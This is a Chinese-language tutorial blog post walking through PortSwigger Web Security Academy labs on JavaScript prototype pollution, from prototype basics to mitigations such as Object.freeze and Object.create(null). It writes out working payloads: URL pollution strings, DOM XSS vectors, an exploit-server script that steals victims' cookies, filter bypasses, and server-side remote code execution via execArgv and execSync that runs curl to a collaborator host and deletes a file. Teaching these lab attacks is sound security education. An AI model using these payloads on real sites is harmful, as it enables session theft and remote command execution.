PortSwigger 原型污染

一、什么是原型污染

        原型污染是一种 JavaScript 漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这些属性可能被用户定义的对象继承。

二、JavaScript 原型和继承基础

  1、原型

    JavaScript 中的每个对象都链接到某种类型的另一个对象,称为其原型。JavaScript 会自动为新对象分配其内置原型之一。例如,字符串会自动分配内置的String.prototype

let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototypelet myString = "";
Object.getPrototypeOf(myString);    // String.prototypelet myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototypelet myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

2、继承 

      对象会自动继承其分配的原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使开发人员能够创建可以重用现有对象的属性和方法的新对象。

3、原型链

        每个函数对象有 prototype 属性,而实例对象没有,但所有的实例对象(函数,数组,对象)都会初始化一个私有属性 __proto__ 指向它的构造函数的原型对象 prototype。

        构造函数、原型对象、以及实例对象的关系理清如下:

  • 个构造函数都有一个 prototype 原型对象
  • 每个实例对象都有一个 __proto__ 属性,并且指向它的构造函数的原型对象 prototype
  • 对象里的 constructor 属性指向其构造函数本身

        函数对象的 prototype 是另一个对象,它也有自己的 prototype,依此类推。这条链最终会回到顶层 ,其原型就是Object.prototype,对象不仅从其直接原型继承属性,还会继承直接原型继承的属性。

function f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链: f ---> Function.prototype ---> Object.prototype ---> null

4、 使用 __proto__ 访问对象的原型

        每个对象都有一个特殊属性 __proto__,可以使用该属性来访问其原型。例如:

username.__proto__
username['__proto__']

        将引用链接起来,访问原型链上的其他原型,例如:

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

5、修改原型 

        可以像修改任何其他对象一样修改 JavaScript 的内置原型。开发人员可以自定义或覆盖内置方法的行为,或者可以添加新方法来执行必要的操作。

        例如, 在 JavaScript 中为 String.prototype 添加一个 removeWhitespace 方法,以去除字符串前后的空白字符

String.prototype.removeWhitespace = function(){// remove leading and trailing whitespace
}

 添加自定义方法后,所有字符串都可以访问此方法

let searchTerm = "  example ";
searchTerm.removeWhitespace();    // "example"

 三、原型污染漏洞原理

直接污染原型

object[a][b] = value

当a、b均可控制的时候将直接导致原型污染,如下:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World

        原型污染漏洞通常出现在 JavaScript 函数以递归方式将包含用户可控制属性的对象合并到现有对象中。这可能允许攻击者注入__proto__属性以及任意嵌套属性。

        merge 操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。攻击者可以使用包含有害值的属性污染原型,这些值随后可能会被应用程序以危险的方式使用。

merge递归合并污染原型

        在这个例子中,由于merge函数没有正确处理__proto__属性,导致object1被污染。原本和object2 递归合并的结果是a: 1,"__proto__": {b: 2},结果变成了a: 1,b: 2

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
};let object1 = {};
let object2 = {a: 1,"__proto__": {b: 2}};
merge(object1, object2);
console.log(object2);
console.log(object1); 

JSON.parse()污染

        JSON.parse() 方法用于将一个 JSON 字符串转换成一个 JavaScript 对象。在转换过程中,JSON.parse() 会解析字符串中的属性和值,并创建一个新的 JavaScript 对象,其属性和值与 JSON 字符串中的对应。

        如果 JSON 字符串中包含特殊属性(如 __proto__),并且 JSON.parse() 方法没有对其进行特殊处理,那么这些特殊属性可能会被添加到解析后的对象的原型上,从而改变对象的原型链。(注意:我使用浏览器没有复现成功,读者可以找低版本浏览器试试) 

const jsonString = '{"__proto__": {"isAdmin": true}}';
const obj = JSON.parse(jsonString);
console.log(obj.isAdmin); // 输出: true
console.log(Object.prototype.isAdmin); // 输出: true,这改变了全局的 Object.prototype

   成功利用原型污染必备条件

  • 原型污染源 - 能够向原型对象注入恶意属性的输入

  • 接收器 - 允能够执行任意代码的 JavaScript 函数或 DOM 元素

  • 可利用的小工具(Sink) - 未经适当筛选或清理而接收并处理来自原型污染源的数据的属性或方法。

四、 原型污染源

        原型污染源是任何用户可控制的输入,可用于向原型对象添加任意属性。常见的来源如下:

  • URL

  • 基于 JSON 的输入

  • Web 消息

1、通过 URL 对原型进行污染

构造如下查询字符串,可通过递归合并函数造成原型污染:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

2、 通过 JSON 输入对污染进行原型设计

例如,通过 Web 消息注入了以下恶意 JSON

{"__proto__": {"evilProperty": "payload"}
}

通过JSON.parse()__proto__将其转换为 JavaScript 对象后,objectFromJson的原型将被改变:

const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');objectFromJson.hasOwnProperty('__proto__');  //ture

 五、 客户端原型污染

1、通过客户端原型污染的 DOM XSS

手动解决方案

(1)寻找原型污染源

尝试注入任意属性进行污染:

/?__proto__[foo]=bar

通过浏览器的 DevTools 面板 Consolo 控制台访问,查看是否有对象返回,有返回确定为污染源

>>Object.prototype.foo
<<'bar'

(2)识别小工具

        在浏览器的 DevTools 面板中,转到 Sources () 选项卡。研究目标站点加载的 JavaScript 文件,查找 DOM XSS 接收器。发现页面加载后会创建 script 代码 并调用 transport_url 变量。如果对象的原型进行污染即可利用。        

Object 变量如何被污染的:

见deparam 函数关键代码::

            if ( keys_last ) {for ( ; i <= keys_last; i++ ) {key = keys[i] === '' ? cur.length : keys[i];cur = cur[key] = i < keys_last? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] ): val;}

 当url参数被传入deparam函数,在进入if循环前__proto__[cc]=by 最终被处理为:

keys=["__proto__","cc"]
keys_last=1
val = by

将上述变量带入if循环,当存在 keys_last 执行第一次循环 :

第一次循环 i=0,key=“__proto__”,cur[__proto__] =__proto__,cur = cur[“__proto__”]

由于cur["__proto__"] 等于 Object.prototype 此时 cur指向了Object.prototype。

第二次循环 i=1,key=“cc”,cur["cc"]=by 相当于 Object.prototype['cc'] = by,最终导致了Object原型变量被污染。

(3)漏洞利用

使用确定的原型污染源,尝试注入任意属性

/?__proto__[transport_url]=foo

 构造XSS负载

/?__proto__[transport_url]=data:,alert(1);

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)

2、通过替代原型污染向量的 DOM XSS

手动解决方案

(1)识别污染源

/?__proto__[cc]=by
/?__proto__.cc=by

(2)识别小工具

加载页面后调用searchlogger,最终执行eval命令,当污染原型的sequence变量即可造成污染。

小知识:eval() 函数会将传入的字符串当做 JavaScript 代码进行执行。

(3)漏洞利用

利用代码如下:

/?__proto__.sequence=alert(1)-

未弹窗,通过 consolek控制台,跳到js代码打上断点,发现传入的值带1,不是javascript代码

通过 - 进行注释,最终为结果如图,将之插入url并刷新,成功利用。

/?__proto__.sequence=alert(1)-

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 打断点排查报错有缺陷的消毒造成的客户端原型污染

3、有缺陷的消除造成的客户端原型污染 (字符串绕过)

手动解决方案

(1)识别污染源

?__pro__proto__to__[by]=cc

(2)识别小工具

(3)漏洞利用

4、第三方库中的客户端原型污染

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 在利用服务器构造负载,body添加如下代码:
<script>location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

        location 内容为自动生成的负载,点击保存发送到受害者,受害者点解利用服务器网址,将加载负载,弹出受害者cookies

六、 通过浏览器 API 构建原型污染

手动解决方案

1、识别污染源

2、识别小工具

 Object.defineProperty() 静态方法会直接在一个对象上定义一个新属性,或修改其现有属性,并返回此对象。

Object.defineProperty(obj, prop, descriptor)obj要定义属性的对象。
prop一个字符串或 Symbol,指定了要定义或修改的属性键。
descriptor要定义或修改的属性的描述符。
返回值传入函数的对象,其指定的属性已被添加或修改。

        configurable 控制属性是否可以从对象中删除以及其特性(除了 value 和 writable)是否可以更改。

        writable 当 writable 特性设置为 false 时,该属性被称为“不可写的”。它不能被重新赋值。

        根据源码可知config函数中定义了 transport_url: false ,由于config函数存在该属性,将不会继续读取原型的transport_url属性, 导致后续将无法读取污染的原型利用。接下来使用了Object.defineProperty()重新定义 transport_url属性,没有设置value值,这将导致继承object原型的value值,即config.transport_url=value值。

(3)漏洞利用

DOM Invader 解决方案

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用

七、 服务器端原型污染

1、通过服务器端原型污染进行权限提升

原理:在使用 for ... in ... 循环的过程,会读取原型中自定义的属性

(1)识别污染源

利用json数据更新就行参数污染,在更新用户数据页面传入参数污染,发现用户成功将污染属性输出,如图:

(2)识别小工具

用户信息中存在"isAdmin":false,尝试参数污染将isAdmin属性值定义为ture,如图所示:

(3)进行利用

刷新页面发现,已具备admin权限,如图:

2、检测服务器端原型污染,而不产生受污染的属性反射

常见手法:

        Express 状态代覆盖:通过判断返回的状态码值,判断是否进行了污染。

"__proto__": {"status":555
}

        Express版本 <  4.17.4 JSON空格覆盖:通过判断返回的空格变化,判断是否进行了污染。

"__proto__":{"json spaces":10}

        Express 字符集覆盖:首先将信息进行utf-7编码,正常回显不会显示解码信息,当使用UTF-7 字符集的属性来污染原型,如果此处存在参数污染,将返回解码的数据。

foo in UTF-7 is +AGYAbwBv-.
    "__proto__":{"content-type": "application/json; charset=utf-7"}

         Express 字符集覆盖(续):主要的原因是由于Node 模块中的一个错误导致的,为避免在请求包含重复标头时覆盖原有属性,该函数在将属性传输到对象之前会检查是否不存在具有相同键的属性,此检查将会包括通过 prototype 链继承的属性。将导致参数被污染。

(1)尝试正常污染参数,发现无回显,如图:

"__proto__": {"foo":"bar"
}

(2)使用状态代覆盖覆盖方式查看是否受到参数污染影响

通过修改json格式触发报错,报错状态码为400

构造参数污染,将状态码属性改为555:

"__proto__": {"status":555
}

在此尝试报错,返现状态码已经被污染,如图:

4、使用扫描器扫描服务器端原型污染源

(1)从 BApp Store 安装 Server-Side Prototype Pollution 。Burp---Extensions--BApp-store

(2)使用 Burp 自带浏览器访问目标网站,使之记录足够多的请求记录

(3)在 Burp 的 Proxy > HTTP history 选取测试的数据包 转到Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution >从列表中选择一种扫描技术

(4)在 Burp Suite Professional 版本中,该扩展会通过“控制板”和“目标”选项卡上的“问题”活动面板报告它找到的原型污染源。在  Burp Suite Community Edition版本,则需要转到Extensions > Installed(已安装的扩展)选项卡,选择扩展,通过OUtput进行查看。如图:

5、绕过有缺陷的输入滤波器,防止服务器端原型污染

常见绕过方法:

        模糊绕过,例如:

__pro__proto__to__

        通过 constructor 属性绕过,例如:

"constructor": {"prototype": {"ccc":"byy"}
}

原理:在JavaScript中,constructor 属性是一个非常特殊的属性,它存在于所有通过构造函数(constructor function)创建的实例对象上。这个属性指向创建该实例对象的构造函数。可通过prototype 修改构造函数原型的属性。例如:

//定义了一个名为 Person 的类,它有一个构造函数,接受两个参数:name 和 age,并将它们分别赋值给实例的 name 和 age 属性。
class Person {constructor(name, age) {this.name = name;this.age = age;}
}//person2 是通过 Person 类创建的一个实例对象
const person2 = new Person("Bob", 25);//在 JavaScript 中,每个通过类创建的实例对象都有一个 constructor 属性,该属性指向创建该实例的构造函数。因此,这个比较结果为 true。
console.log(person2.constructor === Person); // true//使用prototype给Person的原型对象添加方法,之后所有的实际将继承该方法
Person.prototype.sayHello = function() {console.log('Hello, my name is ' + this.name);
};// person1的__proto__指向Person.prototype
console.log(person1.__proto__ === Person.prototype); // true

(1)正常注入发现无返回,如图

(2)尝试使用模糊测试进行污染,存在返回,说明服务端对__proto__进行了过滤。如图:

(3)通过属性污染原型,成功回显,如图:

(4)识别小工具,尝试将isAdmin 变为 true,利用成功。如图:

6、通过服务器端原型污染远程执行代码

        Node 的一些用于创建新子进程的函数接受一个可选属性,这使开发人员能够设置一个特定的 shell、 bash。

"__proto__": {"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"]
}

    execArgv  是一个与 child_process 模块相关的选项,它允许你在创建子进程时指定传递给该子进程的 Node.js 命令行参数。

    --eval选项:Node.js CLI的--eval(或-e)选项允许你直接传递一段JavaScript代码给Node.js执行,而不需要将其保存在文件中。例如,node -e "console.log('Hello, world!')"会打印出Hello, world!        

    require('child_process').execSync:这是Node.js核心模块child_process中的一个方法,用于同步执行shell命令

(1)尝试参数污染

通过回显判断:

通过空格覆盖判断:

(2)尝试触发burp Collaborator  的DNS 记录

插入参数污染:

"__proto__": {"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"]
}

 手动触发job作业:

存在返回,说明sink工具可以被利用 ,如图:

(3) 制作漏洞利用

"__proto__": {"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]
}

7、通过 child_process.execSync() 执行远程代码 

        和fork()一样,该execSync()方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv,但您仍然可以通过同时污染shell和input将系统命令注入正在运行的子进程中: 

        该input选项只是一个字符串,它被传递给子进程的stdin流并由 执行为系统命令execSync()。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input属性本身可能未定义。
        该shell选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()使用系统的默认 shell 来运行命令,因此这也可以不定义。

        通过污染这两个属性,可以覆盖应用程序开发人员打算执行的命令,并在您选择的 shell 中运行恶意命令。

"shell":"vim",
"input":":! whoami\n"
"__proto__":{
"shell":"vim"
"input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com
\n"}

 八、防止原型污染

1、清理属性健

        防止原型污染漏洞的更明显方法之一是在将属性键合并到现有对象之前对其进行清理,例如:__proto__

2、防止更改原型对象

        防止原型污染漏洞的更可靠方法是完全防止原型对象被更改。

        对对象调用Object.freeze(Object.prototype可确保无法再修改其属性及其值,并且无法添加新属性。

   bject.seal()Object.freeze()类似,但仍允许更改现有属性的值。

// 创建一个普通对象
const person = {name: "Alice",age: 25
};// 冻结对象
Object.freeze(person);// 尝试修改对象的属性
person.name = "Bob"; // 无效
person.age = 30;    // 无效// 冻结 Object.prototype
Object.freeze(Object.prototype);// 尝试添加一个新的方法到 Object.prototype
Object.prototype.newMethod = function() {console.log("This is a new method on Object.prototype");
};// 尝试调用新的方法
const obj = {};
obj.newMethod(); // TypeError: Cannot add property newMethod, object is not extensible

3、阻止对象继承属性 

        默认情况下,所有对象都通过 prototype 链直接或间接地从 global 继承。可以通过使用该方法手动设置对象的原型。

let myObject = Object.create(null); Object.getPrototypeOf(myObject); // null

4、 使用更安全的替代品

        使用提供内置保护的对象,例如,在定义 options 对象时,使用其他方法替代。尽管 map 仍然可以继承恶意属性,但它们有一个内置方法,该方法仅返回直接在 map 本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Map();
options.set('transport_url', 'https://normal-website.com');options.evil;                    // 'polluted'
options.get('evil');             // undefined
options.get('transport_url');    // 'https://normal-website.com'

        集合提供了一个内置方法,这些方法只返回直        接在对象本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Set();
options.add('safe');options.evil;           // 'polluted';
option.has('evil');     // false
options.has('safe');    // true

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/63105.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【实战攻略】如何从零开始快速实现深度学习新想法?——四步走战略

标题 【实战攻略】如何从零开始快速实现深度学习新想法&#xff1f;——四步走战略 【核心结论】 通过四步走战略&#xff0c;即找到baseline论文、深入baseline代码、搭建自己的pipeline、融入核心算法&#xff0c;新手也能快速实现深度学习新想法。 【通俗解释&#xff0…

Qml之基本控件

一.Qml常用控件 1.Text(显示普通文本和富文本) 1.1显示普通文本&#xff1a; Window { visible: true width: 320 height: 240 title: qsTr("Hello World") Text { text: "Hello World!" font.family: "Helvetica" font.pointSize: 24 color:…

威联通-004 安装photoview相册应用Docker镜像

文章目录 前言准备MariaDB 10phpMyAdminphotoview 安装步骤1.安装MariaDB 10和phpMyAdmin2.初始安装MariaDB 103.进入phpMyAdmin添加账户4.手动下载photoview的Docker库注意&#xff1a;安装 phpMyAdmin 报错5.配置photoview6.容器安装成功之后进入photoview注意&#xff1a;这…

ScratchLLMStepByStep:一步一步构建大语言模型教程

前言 在学习大语言模型的时候&#xff0c;总会遇到各种各样的名词&#xff0c;像自注意力、多头、因果、自回归、掩码、残差连接、归一化等等。这些名词会让学习者听的云里雾里&#xff0c;觉得门槛太高而放弃。 本教程将会带你从零开始&#xff0c;一步一步的去构建每一个组…

6.824/6.5840 Lab 1: MapReduce

宁静的夏天 天空中繁星点点 心里头有些思念 思念着你的脸 ——宁夏 完整代码见&#xff1a; https://github.com/SnowLegend-star/6.824 由于这个lab整体难度实在不小&#xff0c;故考虑再三还是决定留下代码仅供参考 6.824的强度早有耳闻&#xff0c;我终于也是到了挑战这座高…

学习threejs,使用CubeCamera相机创建反光效果

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️CubeCamera 立方体相机 二、…

支持向量机(SVM)的解析与应用:从封闭解到时代演变 (中英双语)

中文版 支持向量机&#xff08;SVM&#xff09;的解析与应用&#xff1a;从封闭解到时代演变 什么是支持向量机&#xff08;SVM&#xff09;&#xff1f; 支持向量机&#xff08;Support Vector Machine, SVM&#xff09;是一种经典的监督学习算法&#xff0c;用于解决分类和…

HTML5系列(5)-- SVG 集成详解

前端技术探索系列&#xff1a;HTML5 SVG 集成详解 &#x1f3a8; 开篇寄语 &#x1f44b; 前端开发者们&#xff0c; 在前五篇文章中&#xff0c;我们探讨了 HTML5 的多个特性。今天&#xff0c;让我们深入了解 SVG 的魅力&#xff0c;看看如何创建可缩放的矢量图形。 一、…

变点问题的公式推导

背景与关键定义 变点检测问题 变点检测的目标是在给定的观测序列 y 1 , y 2 , … , y T y_1, y_2, \dots, y_T y1​,y2​,…,yT​ 中&#xff0c;找到一个或多个点&#xff08;变点&#xff09;&#xff0c;使得每段子序列&#xff08;即变点划分的区间&#xff09;能被一个较…

使用 useMemo 和 React.memo 优化 React 组件渲染

在 React 中&#xff0c;性能优化是一个重要的主题&#xff0c;特别是在复杂的组件树中。本文将演示如何在同一个父组件中使用 useMemo 和 React.memo 来优化子组件的渲染。 1. 组件结构 创建一个父组件&#xff0c;包含两个子组件&#xff1a; MemoChild&#xff1a;使用 R…

解决github网络慢的问题

前言 本文采用替换host的方式来加速github的git请求&#xff0c;主要我自己用来备份的懒人方式&#xff0c;不然每次都要手动修改hosts文件&#xff0c;skrskrskr… 一、获取到可用的ip 先到这个网站查询到低延迟的ip 站长工具&#xff1a;https://ping.chinaz.com/ 第2步&…

vue3【实战】多页签【组件封装】PageTabs (含右键快捷菜单组件封装 Contextmenu -- 关闭其他页签,关闭所有页签)

效果预览 技术方案 vue3 ( vite | TS | vueUse | AutoImport | pinia) Element Plus UnoCSS 技术要点 需开启 pinia 持久化右键菜单组件借助了 Element Plus 的样式 代码实现 src/components/PageTabs.vue <script setup lang"ts"> import { usePageTabsSto…

Scala的正则表达式

package hfdobject Test35_3 {def main(args: Array[String]): Unit {println("a\tb")//定义一个规则 正则表达式//1. .表示除了换行之外的其他的任意单个字符//2. \d等于[0-9] 匹配一个数字//3. \D除了\d之外的其他的任意字符&#xff0c;表示非数字//4. \w等价于[…

java的几种排序算法(详细)

冒泡排序&#xff08;Bubble Sort&#xff09; 基本原理&#xff1a; 冒泡排序是一种简单的比较排序算法。它重复地走访要排序的数列&#xff0c;一次比较两个元素&#xff0c;如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换&#xff0c;也…

vue项目env文件的使用(vue cli2和vue cli3)

Vue CLI 2 环境 在 Vue CLI 2 中&#xff0c;需要安装 dotenv 包来加载和使用环境变量。 步骤&#xff1a; 安装 dotenv&#xff1a;首先安装 dotenv 包 npm install dotenv --save创建 .env 文件&#xff1a;在项目的根目录下创建一个 .env 文件&#xff0c;并在其中定义你的…

全面解析 Transformer:改变深度学习格局的神经网络架构

目录 一、什么是 Transformer&#xff1f; 二、Transformer 的结构解析 1. 编码器&#xff08;Encoder&#xff09; 2. 解码器&#xff08;Decoder&#xff09; 3. Transformer 模型结构图 三、核心技术&#xff1a;注意力机制与多头注意力 1. 注意力机制 2. 多头注意力&…

使用YOLO系列txt目标检测标签的滑窗切割:批量处理图像和标签的实用工具

使用YOLO系列txt目标检测标签的滑窗切割&#xff1a;批量处理图像和标签的实用工具 使用YOLO的TXT目标检测标签的滑窗切割&#xff1a;批量处理图像和标签的实用工具背景1. 代码概述2. 滑窗切割算法原理滑窗切割步骤&#xff1a;示例&#xff1a; 3. **代码实现**1. **加载标签…

Java ArrayList 详解

Java ArrayList 详解 ArrayList 是 Java 集合框架&#xff08;Collection Framework&#xff09;中最常用的类之一&#xff0c;是一种基于动态数组的数据结构&#xff0c;属于 List 接口的实现类。它允许存储重复的元素&#xff0c;有序&#xff0c;支持随机访问&#xff0c;且…

springboot/ssm线上教育培训办公系统Java代码web项目在线课程作业源码

springboot/ssm线上教育培训办公系统Java代码web项目在线课程作业源码 基于springboot(可改ssm)htmlvue项目 开发语言&#xff1a;Java 框架&#xff1a;springboot/可改ssm vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xff09; 服务器&#xff1a;tomcat 数据库&…

Rust学习笔记_13——枚举

Rust学习笔记_10——守卫 Rust学习笔记_11——函数 Rust学习笔记_12——闭包 枚举 文章目录 枚举1. 定义1.1 无值变体1.2 有值变体1.3 枚举与泛型的结合 2. 使用2.1 和匹配模式一起使用2.2 枚举作为类型别名 3. 常用枚举类型 在Rust编程语言中&#xff0c;枚举&#xff08;enum…